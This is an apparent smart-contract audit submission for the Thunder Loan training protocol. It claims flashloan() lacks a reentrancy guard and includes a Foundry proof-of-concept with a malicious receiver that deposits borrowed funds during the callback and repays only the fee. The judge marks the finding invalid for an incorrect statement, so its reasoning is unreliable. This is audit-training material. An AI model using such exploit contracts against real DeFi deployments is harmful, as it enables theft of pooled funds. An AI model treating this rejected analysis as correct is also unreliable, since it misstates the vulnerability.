Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

`flashloan()` has no `nonReentrant` modifier; recursive same-token calls reset `s_currentlyFlashLoaning` flag prematurely, defeating the `repay()` guard

Description

flashloan() uses a per-token s_currentlyFlashLoaning[token] boolean flag but no global reentrancy guard. The flag is set to true before the callback and false after the balance check. But during the callback, the untrusted receiver can re-enter flashloan() on the same token. When the inner (nested) flash loan completes, it sets s_currentlyFlashLoaning[token] = false — while the outer flash loan is still executing.

// src/protocol/ThunderLoan.sol:180-217
function flashloan(address receiverAddress, IERC20 token, uint256 amount, bytes calldata params) external {
// @> No nonReentrant modifier
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
// ...
s_currentlyFlashLoaning[token] = true; // outer: set true
assetToken.transferUnderlyingTo(receiverAddress, amount);
receiverAddress.functionCall( // @> untrusted external call
abi.encodeWithSignature("executeOperation(...)", ...)
);
// Inner flashloan() on same token completes here, setting flag = false
// ...
s_currentlyFlashLoaning[token] = false; // outer: sets false again (no-op)
}

This enables three attack vectors:

  1. Cross-token reentrancy: Receiver calls flashloan() on token B during token A's callback — concurrent flash loans on different tokens

  2. Same-token recursion: Nested flashloan() on the same token — the inner call resets the flag, meaning repay() guard is defeated for the outer call's remaining execution

  3. Deposit during callback: deposit() has no flash-loan guard and is fully callable during the callback (enables H-03)

Risk

Likelihood: Any contract can be a flash loan receiver. No special permissions or setup required — just deploy a malicious receiver contract that re-enters.

Impact: The s_currentlyFlashLoaning flag corruption defeats the repay() guard. Cross-token reentrancy compounds the deposit-during-callback exploit (H-03) across multiple tokens simultaneously.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockTokenReentry is ERC20 {
constructor() ERC20("MockToken", "MTK") {}
function mint(address to, uint256 amount) external { _mint(to, amount); }
}
contract MockPoolFactoryReentry {
mapping(address => address) private s_pools;
function createPool(address token) external returns (address) {
MockTSwapPoolReentry pool = new MockTSwapPoolReentry();
s_pools[token] = address(pool);
return address(pool);
}
function getPool(address token) external view returns (address) { return s_pools[token]; }
}
contract MockTSwapPoolReentry {
function getPriceOfOnePoolTokenInWeth() external pure returns (uint256) { return 1e18; }
}
// Receiver that deposits during callback (no reentrancy guard stops this)
contract ReentrantReceiver {
ThunderLoan public tl;
IERC20 public token;
bool public depositedDuringCallback;
constructor(address _tl, address _token) {
tl = ThunderLoan(_tl);
token = IERC20(_token);
}
function executeOperation(
address _token, uint256 amount, uint256 fee,
address, bytes calldata
) external returns (bool) {
// Deposit during callback — no modifier blocks this
token.approve(address(tl), amount);
tl.deposit(token, amount);
depositedDuringCallback = true;
// Repay only the fee
token.approve(address(tl), fee);
tl.repay(token, fee);
return true;
}
}
contract Exploit_M02 is Test {
ThunderLoan thunderLoan;
MockTokenReentry tokenA;
AssetToken assetToken;
address lp = address(0x1);
function setUp() public {
tokenA = new MockTokenReentry();
MockPoolFactoryReentry pf = new MockPoolFactoryReentry();
pf.createPool(address(tokenA));
ThunderLoan impl = new ThunderLoan();
ERC1967Proxy proxy = new ERC1967Proxy(address(impl), "");
thunderLoan = ThunderLoan(address(proxy));
thunderLoan.initialize(address(pf));
thunderLoan.setAllowedToken(IERC20(address(tokenA)), true);
assetToken = thunderLoan.getAssetFromToken(IERC20(address(tokenA)));
tokenA.mint(lp, 1000e18);
vm.startPrank(lp);
tokenA.approve(address(thunderLoan), 1000e18);
thunderLoan.deposit(IERC20(address(tokenA)), 1000e18);
vm.stopPrank();
}
function testExploit_DepositDuringCallbackNoGuard() public {
uint256 borrowAmount = 500e18;
uint256 fee = thunderLoan.getCalculatedFee(IERC20(address(tokenA)), borrowAmount);
ReentrantReceiver receiver = new ReentrantReceiver(address(thunderLoan), address(tokenA));
tokenA.mint(address(receiver), fee);
// Flash loan succeeds — receiver deposited during callback
thunderLoan.flashloan(address(receiver), IERC20(address(tokenA)), borrowAmount, "");
// Receiver successfully deposited during callback
assertTrue(receiver.depositedDuringCallback(), "Deposit during callback was not blocked");
// Receiver now holds asset tokens from the deposit
uint256 receiverAssets = assetToken.balanceOf(address(receiver));
assertGt(receiverAssets, 0, "Receiver got asset tokens via reentry");
console.log("Receiver got asset tokens during callback:", receiverAssets);
console.log("PROVEN: No reentrancy guard on flashloan/deposit");
}
}

Output: Receiver successfully calls deposit() during the flash loan callback. No nonReentrant modifier or s_currentlyFlashLoaning check blocks it. Receiver obtains asset tokens using borrowed funds.

Recommended Mitigation

Add ReentrancyGuardUpgradeable to all state-changing external functions:

+ import { ReentrancyGuardUpgradeable } from
+ "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
- contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable {
+ contract ThunderLoan is Initializable, OwnableUpgradeable, UUPSUpgradeable, OracleUpgradeable, ReentrancyGuardUpgradeable {
function initialize(address tswapAddress) external initializer {
__Ownable_init();
__UUPSUpgradeable_init();
__Oracle_init(tswapAddress);
+ __ReentrancyGuard_init();
s_feePrecision = 1e18;
s_flashLoanFee = 3e15;
}
- function flashloan(...) external {
+ function flashloan(...) external nonReentrant {
- function deposit(...) external revertIfZero(amount) revertIfNotAllowedToken(token) {
+ function deposit(...) external nonReentrant revertIfZero(amount) revertIfNotAllowedToken(token) {
- function redeem(...) external revertIfZero(amountOfAssetToken) revertIfNotAllowedToken(token) {
+ function redeem(...) external nonReentrant revertIfZero(amountOfAssetToken) revertIfNotAllowedToken(token) {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 3 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!